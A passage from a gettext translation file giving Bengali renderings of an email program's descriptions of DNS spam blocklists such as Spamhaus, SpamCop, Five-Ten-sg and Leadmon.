"āĻŦā§āϝāĻŦāϏāĻžā§ŸāĻŋāĻ• - āĻĻā§‚āϰāĻžāϞāĻžāĻĒāύ⧀ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āϝāĻžāϰāĻž āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰ⧇, āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋāϰ āϤāĻžāϞāĻŋāĻ•āĻž "
"āĻĨ⧇āϕ⧇ āĻ…āύ⧇āĻ•āϏāĻŽā§Ÿ āϤāĻžāĻĻ⧇āϰ āĻŦāĻžāĻĻ āĻĻāĻŋā§Ÿā§‡ āĻĻ⧇āĻ“ā§ŸāĻž āĻšā§ŸāĨ¤  āĻ•āĻžāϰāĻŖ āĻāχ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āϝāĻžāϰāĻž āĻ•āϰ⧇, āϤāĻžāϰāĻž āϚāĻŋāĻ āĻŋ "
"āĻĒāĻžāĻ āĻžāύ⧋āϰ āϜāĻ¨ā§āϝ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāĻ•āĻĻ⧇āϰ āĻĻ⧇āĻ“ā§ŸāĻž āĻĄāĻžāĻ• āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻžāϰ āĻ•āĻĨāĻžāĨ¤  āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻāχ "
"āĻŦāĻžāĻĻ āĻĻ⧇āĻ“ā§ŸāĻžāϰ āϏ⧁āϝ⧋āĻ— āύāĻŋā§Ÿā§‡ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒā§āϰ⧇āϰāϕ⧇āϰāĻž āĻĻā§‚āϰāĻžāϞāĻžāĻĒāύ⧀āĻ­āĻŋāĻ¤ā§āϤāĻŋāĻ• āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž "
"āύāĻŋā§Ÿā§‡ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāĻ•āĻĻ⧇āϰ āϏāϰāĻžāϏāϰāĻŋ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒāĻžāĻ āĻžā§ŸāĨ¤"

msgid "COMMERCIAL - RBL+ Blackhole entries."
msgstr "āĻŦā§āϝāĻŦāϏāĻžā§ŸāĻŋāĻ• - (RBl)āφāϰ āĻŦāĻŋ āĻāϞ+ āĻ•āĻžāϞ⧋āϗ⧁āĻšāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤"

msgid "COMMERCIAL - RBL+ OpenRelay entries."
msgstr "āĻŦā§āϝāĻŦāϏāĻžā§ŸāĻŋāĻ• - āφāϰ āĻŦāĻŋ āĻāϞ (RBL) + āĻŽā§āĻ•ā§āϤ āϰāĻŋāϞ⧇ (OpenRelay)āĨ¤"

msgid "COMMERCIAL - RBL+ Dial-up entries."
msgstr ""
"āĻŦā§āϝāĻŦāϏāĻžāϝāĻŧāĻŋāĻ• - āφāϰ āĻŦāĻŋ āĻāϞ (RBL)+ āĻĻā§‚āϰāĻžāϞāĻžāĻĒāύ⧀āϰ āϤāĻžāϰ āĻĻāĻŋā§Ÿā§‡ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤāĨ¤"

msgid "FREE - Five-Ten-sg.com - Direct SPAM sources."
msgstr "āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - Five-Ten-sg.com - āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋāϰ āĻĒā§āϰ⧇āϰāĻ•āĨ¤"

msgid "FREE - Five-Ten-sg.com - Dial-up lists - includes some DSL IPs."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - Five-Ten-sg.com - āĻĻā§‚āϰāĻžāϞāĻžāĻĒāύ⧀āϰ āϤāĻžāϰ āĻĻāĻŋā§Ÿā§‡ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϝ⧋āĻ—āĻžāϝ⧋āĻ—āĻ•āĻžāϰ⧀āĻĻ⧇āϰ "
"āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤ āĻĻā§‚āϰāĻžāϞāĻžāĻĒāύ⧀āϰ āϤāĻžāϰ āĻ­āĻŋāĻ¤ā§āϤāĻŋāĻ• āĻĻā§āϰ⧁āϤāϤāϰ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āĻĻ⧇āϰ āĻŽāĻ§ā§āϝ⧇āĻ“ āĻ•ā§Ÿā§‡āĻ•āϟāĻžāϕ⧇ "
"āϤāĻžāϞāĻŋāĻ•āĻžāϤ⧇ āĻĸ⧁āĻ•āĻžāύ⧋ āφāϛ⧇āĨ¤"

msgid "FREE - Five-Ten-sg.com - Bulk mailers that do not use confirmed opt-in."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - Five-Ten-sg.com - āĻŦāĻŋāĻœā§āĻžāĻžāĻĒāĻ•āϰāĻž āĻ…āύ⧇āĻ•āϏāĻŽā§Ÿ āĻāĻ•āϏāĻžāĻĨ⧇ āĻ…āύ⧇āĻ• āϜāĻžā§ŸāĻ—āĻžā§Ÿ āĻāĻ•āχ āϚāĻŋāĻ āĻŋ "
"āĻĒāĻžāĻ āĻžā§ŸāĨ¤ āϝāĻžāϰāĻž āĻāϰāĻ•āĻŽ āϚāĻŋāĻ āĻŋ āϚāĻžā§Ÿ, āϤāĻžāĻĻ⧇āϰ āϤāĻžāϞāĻŋāĻ•āĻž āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻ“ā§ŸāĻž āϏāĻ¤ā§āĻŦ⧇āĻ“ āϝ⧇ āϏāĻŦ āĻŦāĻŋāĻœā§āĻžāĻžāĻĒāϕ⧇āϰāĻž "
"āϤāĻžāϞāĻŋāĻ•āĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āύāĻž, āϤāĻžāĻĻ⧇āϰ āĻāĻ–āĻžāύ⧇ āϤāĻžāϞāĻŋāĻ•āĻžāϭ⧁āĻ•ā§āϤ āĻ•āϰ⧇ āϰāĻžāĻ–āĻž āφāϛ⧇āĨ¤"

msgid "FREE - Five-Ten-sg.com - Other misc. servers."
msgstr "āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - Five-Ten-sg.com - āĻ…āĻ¨ā§āϝāĻžāĻ¨ā§āϝ āĻŦāĻŋāĻŦāĻŋāϧ āĻŽā§‚āϞ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰāĨ¤"

msgid "FREE - Five-Ten-sg.com - Single Stage servers."
msgstr "āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - Five-Ten-sg.com - āĻāĻ• āϧāĻžāĻĒ⧇āϰ āĻŽā§‚āϞ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰāĨ¤"

msgid "FREE - Five-Ten-sg.com - SPAM Support servers."
msgstr "āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - Five-Ten-sg.com - āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ āĻ•āĻžāĻœā§‡āϰ āϜāĻ¨ā§āϝ āĻŽā§‚āϞ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰāĨ¤"

msgid "FREE - Five-Ten-sg.com - Web Form IPs."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - Five-Ten-sg.com - āϝ⧁āĻ•ā§āϤāĻĒāĻ¤ā§āϰ āĻŦāĻŋāĻŦāϰāĻŖā§€ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āĻĻ⧇āϰ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϝ⧋āĻ—āĻžāϝ⧋āĻ— "
"āĻĒāϰāĻŋāϚāĻžā§ŸāĻ• āϏāĻ‚āĻ–ā§āϝāĻžāĨ¤"

msgid ""
"FREE - Dorkslayers appears to include only really bad open relays outside "
"the US to avoid being sued. Interestingly enough, their website recommends "
"you NOT use their service."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - āϝ⧁āĻ•ā§āϤāϰāĻžāĻœā§āϝ⧇āϰ āĻŦāĻžāχāϰ⧇ āĻĄāĻ°ā§āĻ•-āĻ•āĻ°ā§āϤāĻ• āĻŽāύ⧇ āĻšā§Ÿ āĻāĻ•āĻŽāĻžāĻ¤ā§āϰ āĻŽā§āĻ•ā§āϤāϰāĻŋāϞ⧇ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāĻ• āϝāĻžāĻĻ⧇āϰ "
"āĻŦāĻŋāϰ⧁āĻĻā§āϧ⧇ āĻŽāĻžāĻŽāϞāĻž āĻĻāĻžā§Ÿā§‡āϰ āĻ•āϰāĻž āĻšā§Ÿ āύāĻŋāĨ¤ āĻŽāϜāĻžāϰ āĻŦā§āϝāĻžāĻĒāĻžāϰ āĻšāϞ, āĻāĻĻ⧇āϰ āĻ“ā§Ÿā§‡āĻŦāϏāĻžāχāϟ āĻāĻĻ⧇āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž "
"āĻŦā§āϝāĻŦāĻšāĻžāϰ āύāĻž āĻ•āϰāĻžāϰ āωāĻĒāĻĻ⧇āĻļ āĻĻā§‡ā§ŸāĨ¤"

msgid "FREE - SPAMhaus - A list of well-known SPAM sources."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - SPAMhaus (āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻšāĻžāωāϏ) - āωāĻĄāĻŧā§‹ āϚāĻŋāĻ āĻŋ āĻĒāĻžāĻ āĻžā§Ÿ āĻāĻŽāύ āϜāĻžā§ŸāĻ—āĻžāϰ āĻāĻ•āϟāĻž āϤāĻžāϞāĻŋāĻ•āĻž - "
"āϏāĻŦāĻžāχ āĻŽā§‹āϟāĻžāĻŽā§āϟāĻŋ āĻāχ āϤāĻžāϞāĻŋāĻ•āĻž āĻŦāĻŋāĻļā§āĻŦāĻžāϏ āĻ•āϰ⧇āĨ¤"

msgid ""
"FREE, for now - SpamCop - An interesting solution that lists servers that "
"have a very high spam to legit email ratio (85 percent or more)."
msgstr ""
"āĻāĻ–āύ⧋ āĻĒāĻ°ā§āϝāĻ¨ā§āϤ āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - SPAMCOP (āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ) - āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āϏāύāĻžāĻ•ā§āϤ āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āĻāϰāĻž āύāϤ⧁āύ "
"āĻāĻ•āϟāĻž āϏ⧂āĻ¤ā§āϰ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ - āϝ⧇āϏāĻŦ āϜāĻžā§ŸāĻ—āĻž āĻĨ⧇āϕ⧇ āϝāĻž āϚāĻŋāĻ āĻŋ āφāϏ⧇ (āϤāĻžāϰ ā§Žā§Ģ% āĻāϰ āĻ“āĻĒāϰ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ), "
"āϏ⧇āϏāĻŦ āϜāĻžā§ŸāĻ—āĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤"

msgid "FREE - dev.null.dk - I don't have any detailed info on this list."
msgstr "āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - dev.null.dk - āĻāĻĻ⧇āϰ āϏāĻŽā§āĻĒāĻ°ā§āϕ⧇ āĻŦāĻŋāĻ¸ā§āϤāĻžāϰāĻŋāϤ āϤāĻĨā§āϝ āϜāĻžāύāĻž āύ⧇āχāĨ¤"

msgid "FREE - visi.com - Relay Stop List. Very conservative OpenRelay List."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - visi.com āϰāĻŋāϞ⧇ āĻĨāĻžāĻŽāĻžāύ⧋āϰ āϤāĻžāϞāĻŋāĻ•āĻž - āĻ āĻŋāĻ• āĻŽāϤ āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāĻŖ āĻ›āĻžāĻĄāĻŧāĻž āϚāĻŋāĻ āĻŋ āϰāĻŋāϞ⧇ "
"āĻ•āϰ⧇ āĻāĻŽāύ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž - āĻŦ⧇āĻļ āϏāĻžāĻŦāϧāĻžāύ⧇ āϤ⧈āϰ⧀ - āϝāĻžāϰāĻž āĻ–ā§‹āϞāĻž āϰāĻŋāϞ⧇ āĻ•āĻŋāύāĻž āĻ āĻŦā§āϝāĻžāĻĒāĻžāϰ⧇ āϖ⧁āĻŦ "
"āĻ…āĻ˛ā§āĻĒ āĻšāϞ⧇āĻ“ āϏāĻ¨ā§āĻĻ⧇āĻš āφāϛ⧇ āĻāĻŽāύ āϜāĻžā§ŸāĻ—āĻž āϗ⧁āϞ⧋āϕ⧇ āĻāϰāĻž āϤāĻžāϞāĻŋāĻ•āĻžāϤ⧇ āϰāĻžāϖ⧇ āύāĻžāĨ¤"

msgid "FREE - ahbl.org Open Relays - Another list of Open Relays."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - ahbl.org āĻ–ā§‹āϞāĻž āϰāĻŋāϞ⧇āϰ āϤāĻžāϞāĻŋāĻ•āĻž - - āĻ āĻŋāĻ• āĻŽāϤ āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāĻŖ āĻ›āĻžāĻĄāĻŧāĻž āϚāĻŋāĻ āĻŋ āϰāĻŋāϞ⧇ "
"āĻ•āϰ⧇ āĻāĻŽāύ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āφāϰ⧇āĻ•āϟāĻž āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤"

msgid "FREE - ahbl.org SPAM Source - List of Direct SPAM Sources."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - ahbl.org āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒā§āϰ⧇āϰāĻ•āĻĻ⧇āϰ āϤāĻžāϞāĻŋāĻ•āĻž - āϏāϰāĻžāϏāϰāĻŋ āωāĻĄāĻŧā§‹ āϚāĻŋāĻ āĻŋ āĻĒāĻžāĻ āĻžā§Ÿ āĻāĻŽāύ "
"āϜāĻžā§ŸāĻ—āĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤"

msgid "FREE - ahbl.org SPAM ISPs - List of SPAM-friendly ISPs."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - ahbl.org - āϝ⧇āϏāĻŦ āĻŦāĻŋāĻļā§āĻŦāĻŦā§āϝāĻžāĻĒā§€ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϝ⧋āϜāύāĻž āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāϕ⧇āϰāĻž āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ "
"āĻĒā§āϰ⧇āϰāĻ•āĻĻ⧇āϰ āĻŦā§āϝāĻžāĻĒāĻžāϰ⧇ āĻ•āĻĄāĻŧāĻžāĻ•āĻĄāĻŧāĻŋ āĻ•āϰ⧇āύāĻž, āϤāĻžāĻĻ⧇āϰ āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤"

msgid ""
"FREE - Leadmon DUL - Another list of Dial-up or otherwise dynamically "
"assigned IPs."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - āϞ⧀āĻĄāĻŽāύ (Leadmon) DUL - āĻĻā§‚āϰāĻžāϞāĻžāĻĒāύ⧀ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻāĻŦāĻ‚ "
"āĻ…āĻ¨ā§āϝāĻžāĻ¨ā§āϝ āϝ⧇ āϏāĻŦ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϤ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻĒāϰāĻŋāϚāĻžā§ŸāĻ• āϏāĻ‚āĻ–ā§āϝāĻž āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāĻŋāϤ āĻšā§Ÿ, āϏ⧇ āϏāĻŦ⧇āϰ āĻĒāϰāĻŋāϚāĻžā§ŸāĻ• "
"āϏāĻ‚āĻ–ā§āϝāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤"

msgid ""
"FREE - Leadmon SPAM Source - List of IPs Leadmon.net has received SPAM "
"directly from."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - āϞ⧀āĻĄāĻŽāύ (Leadmon) āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒā§āϰ⧇āϰāĻ• - āϝāĻžāĻĻ⧇āϰ āĻ•āĻžāĻ›āĻĨ⧇āϕ⧇ āϞ⧀āĻĄāĻŽāύ āύāĻŋāĻœā§‡āϰāĻžāχ "
"āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒā§‡ā§Ÿā§‡āϛ⧇ āϤāĻžāĻĻ⧇āϰ āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤"

msgid ""
"FREE - Leadmon Bulk Mailers - Bulk mailers that do not require confirmed opt-"
"in or that have allowed known spammers to become clients and abuse their "
"services."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - āϞ⧀āĻĄāĻŽāύ⧇āϰ āϤ⧈āϰ⧀ āĻāĻ•āϏāĻžāĻĨ⧇ āĻ…āύ⧇āĻ• āϚāĻŋāĻ āĻŋ āĻĒā§āϰ⧇āϰāĻ•āĻĻ⧇āϰ āϤāĻžāϞāĻŋāĻ•āĻž - āĻŦāĻŋāĻœā§āĻžāĻžāĻĒāĻ•āϰāĻž "
"āĻ…āύ⧇āĻ•āϏāĻŽā§Ÿ āĻāĻ•āϏāĻžāĻĨ⧇ āĻ…āύ⧇āĻ• āϜāĻžā§ŸāĻ—āĻžā§Ÿ āĻāĻ•āχ āϚāĻŋāĻ āĻŋ āĻĒāĻžāĻ āĻžā§ŸāĨ¤ āϝāĻžāϰāĻž āĻāϰāĻ•āĻŽ āϚāĻŋāĻ āĻŋ āϚāĻžā§Ÿ, āϤāĻžāĻĻ⧇āϰ āϤāĻžāϞāĻŋāĻ•āĻž "
"āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻ“ā§ŸāĻž āϏāĻ¤ā§āĻŦ⧇āĻ“ āϝ⧇ āϏāĻŦ āĻŦāĻŋāĻœā§āĻžāĻžāĻĒāϕ⧇āϰāĻž āϤāĻžāϞāĻŋāĻ•āĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āύāĻž, āĻ…āĻĨāĻŦāĻž āϝāĻžāϰāĻž āϤāĻžāĻĻ⧇āϰ "
"āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒāĻžāĻ āĻžāύ⧋āϰ āĻŦā§āϝāĻžāĻĒāĻžāϰ⧇ āĻ•āĻĄāĻŧāĻžāĻ•āĻĄāĻŧāĻŋ āĻ•āϰ⧇ āύāĻž āϤāĻžāĻĻ⧇āϰ āĻāĻ–āĻžāύ⧇ "
"āϤāĻžāϞāĻŋāĻ•āĻžāϭ⧁āĻ•ā§āϤ āĻ•āϰ⧇ āϰāĻžāĻ–āĻž āφāϛ⧇āĨ¤"

msgid ""
"FREE - Leadmon Open Relays - Single Stage Open Relays that are not listed on "
"other active RBLs."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - āϞ⧀āĻĄāĻŽāύ āĻŽā§āĻ•ā§āϤāϰāĻŋāϞ⧇ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž - āĻāĻ•āĻ¸ā§āϤāϰ⧇āϰ āĻŽā§āĻ•ā§āϤ āϰāĻŋāϞ⧇ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž -- āϝ⧇āϗ⧁āϞ⧋ "
"āĻ…āĻ¨ā§āϝ āϕ⧋āύ RBL āĻāϰ āϤāĻžāϞāĻŋāĻ•āĻžā§Ÿ āύ⧇āχāĨ¤"

msgid ""
"FREE - Leadmon Multi-stage - Multi-Stage Open Relays that are not listed on "
"other active RBLs and that have sent SPAM to Leadmon.net."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - āϞ⧀āĻĄāĻŽāύ āĻŦāĻšā§āĻ¸ā§āϤāϰ⧇āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž - āĻŦāĻšā§āĻ¸ā§āϤāϰ⧇āϰ āĻŽā§āĻ•ā§āϤ āϰāĻŋāϞ⧇ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž āϝ⧇āϗ⧁āϞ⧋ āĻ…āĻ¨ā§āϝ "
"āϕ⧋āύ RBL āĻāϰ āϤāĻžāϞāĻŋāĻ•āĻžā§Ÿ āύ⧇āχ āĻāĻŦāĻ‚ āϞ⧀āĻĄāĻŽāύ.āύ⧇āϟ āĻ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒāĻžāĻ āĻŋā§Ÿā§‡āϛ⧇āĨ¤"

msgid ""
"FREE - Leadmon SpamBlock - Sites on this listing have sent Leadmon.net "
"direct SPAM from IPs in netblocks where the entire block has no DNS "
"mappings. It's a list of BLOCKS of IPs being used by people who have SPAMmed "
"Leadmon.net."
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - āϞ⧀āĻĄāĻŽāύ (Leadmon) āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āϰ⧋āϧāĻ• - āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻĒāϰāĻŋāϚāĻžā§ŸāĻ• āϏāĻ‚āĻ–ā§āϝāĻžāϰ "
"āϤāĻžāϞāĻŋāĻ•āĻžāϰ āĻŽāĻ§ā§āϝ⧇ āϝ⧇āϏāĻŦ āωāĻĒāϤāĻžāϞāĻŋāĻ•āĻžāϰ āϕ⧋āύ āϏāĻ‚āĻ–ā§āϝāĻžāϰ āϏāĻžāĻĨ⧇ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ⧇āϰ āύāĻžāĻŽā§‡āϰ āϝ⧋āĻ— āĻĨāĻžāĻ•āĻžāϰ āĻ•āĻĨāĻž "
"āύ⧟, āϏ⧇āϏāĻŦ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āϏāĻ‚āĻ–ā§āϝāĻžāϰ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āĻĨ⧇āϕ⧇ āϕ⧋āύ āϚāĻŋāĻ āĻŋ āφāϏāĻž āωāϚāĻŋāϤ āύ⧟ āĻ•āĻžāϰāĻŖ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ⧇āϰ "
"āύāĻžāĻŽ āύāĻž āĻĨāĻžāĻ•āϞ⧇ āϏ⧇āĻ–āĻžāύ⧇ āϕ⧋āύ⧋ āχāĻŽā§‡āχāϞ āĻ āĻŋāĻ•āĻžāύāĻž āĻĨāĻžāĻ•āϤ⧇ āĻĒāĻžāϰ⧇ āύāĻžāĨ¤  āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻāχāϏāĻŦ āωāĻĒāϤāĻžāϞāĻŋāĻ•āĻžāϰ "
"āĻŽāĻ§ā§āϝ⧇ āϝ⧇āϗ⧁āϞ⧋ āĻĨ⧇āϕ⧇ āϞ⧀āĻĄāĻŽāύ āϏāϰāĻžāϏāϰāĻŋ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒā§‡ā§Ÿā§‡āϛ⧇ āϤāĻžāĻĻ⧇āϰ āĻāĻ–āĻžāύ⧇ āϤāĻžāϞāĻŋāĻ•āĻž āĻ•āϰ⧇ āϰāĻžāĻ–āĻž āφāϛ⧇āĨ¤"

msgid ""
"FREE, for now - Not Just Another Blacklist - Both Open Relays and Direct "
"SPAM Sources."
msgstr ""
"āφāĻĒāĻžāϤāϤ, āϕ⧋āύ āĻ–āϰāϚ āύ⧇āχ - āĻļ⧁āϧ⧁āχ āφāϰ⧇āĻ•āϟāĻŋ āĻ•āĻžāϞ⧋ āϤāĻžāϞāĻŋāĻ•āĻž āύ⧟ - āϝ⧇ āĻ•āĻžāωāϕ⧇ āϰāĻŋāϞ⧇ āĻ•āϰ⧇ āĻĻā§‡ā§Ÿ āĻāĻŽāύ "
"āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻāĻŦāĻ‚ āϏāϰāĻžāϏāϰāĻŋ āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻĒāĻžāĻ āĻžā§Ÿ āĻāĻŽāύ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤"

msgid "FREE, for now - Not Just Another Blacklist - Dial-up IPs."
msgstr ""
"āφāĻĒāĻžāϤāϤ, āϕ⧋āύ āĻ–āϰāϚ āύ⧇āχ - āĻļ⧁āϧ⧁āχ āφāϰ⧇āĻ•āϟāĻŋ āĻ•āĻžāϞ⧋ āϤāĻžāϞāĻŋāĻ•āĻž āύ⧟ - āĻĻā§‚āϰāĻžāϞāĻžāĻĒāύ⧀ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āϝ⧁āĻ•ā§āϤ āĻāĻŽāύ "
"āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϏāĻŽā§‚āĻšā§‡āϰ āϝ⧋āĻ—āĻžāϝ⧋āĻ—-āĻĒāϰāĻŋāϚāĻžā§ŸāĻ• āϏāĻ‚āĻ–ā§āϝāĻžāĨ¤"

msgid "FREE - Distributed Sender Boycott List - Confirmed Relays"
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - āĻŦāĻŋāĻ¸ā§āϤ⧃āϤ āĻĒā§āϰ⧇āϰāĻ•-āĻŦāĻ°ā§āϜāύ-āϤāĻžāϞāĻŋāĻ•āĻž - āϚāĻŋāĻ āĻŋ āϰāĻŋāϞ⧇ āĻ•āϰ⧇ āĻŦāϞ⧇ āϜāĻžāύāĻž āφāϛ⧇ āĻāĻŽāύ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ "
"āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤"

msgid "FREE - Distributed Sender Boycott List - Confirmed Multi-stage Relays"
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - āĻŦāĻŋāĻ¸ā§āϤ⧃āϤ āĻĒā§āϰ⧇āϰāĻ•-āĻŦāĻ°ā§āϜāύ-āϤāĻžāϞāĻŋāĻ•āĻž - āĻŦāĻšā§ āĻ¸ā§āϤāϰ⧇ āϚāĻŋāĻ āĻŋ āϰāĻŋāϞ⧇ āĻ•āϰ⧇ āĻŦāϞ⧇ āύāĻŋāĻļā§āϚāĻŋāϤāĻ­āĻžāĻŦ⧇ "
"āϜāĻžāύāĻž āφāϛ⧇ āĻāĻŽāύ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤"

msgid "FREE - Distributed Sender Boycott List - UN-Confirmed Relays"
msgstr ""
"āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - āĻŦāĻŋāĻ¸ā§āϤ⧃āϤ āĻĒā§āϰ⧇āϰāĻ•-āĻŦāĻ°ā§āϜāύ-āϤāĻžāϞāĻŋāĻ•āĻž - UN- āϚāĻŋāĻ āĻŋ āϰāĻŋāϞ⧇ āĻ•āϰ⧇ āĻŦāϞ⧇ āϏāĻ¨ā§āĻĻ⧇āĻš āĻ•āϰāĻž āĻšā§Ÿ āĻāĻŽāύ "
"āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāĨ¤"

msgid "WARNING! You must enter something to search for."
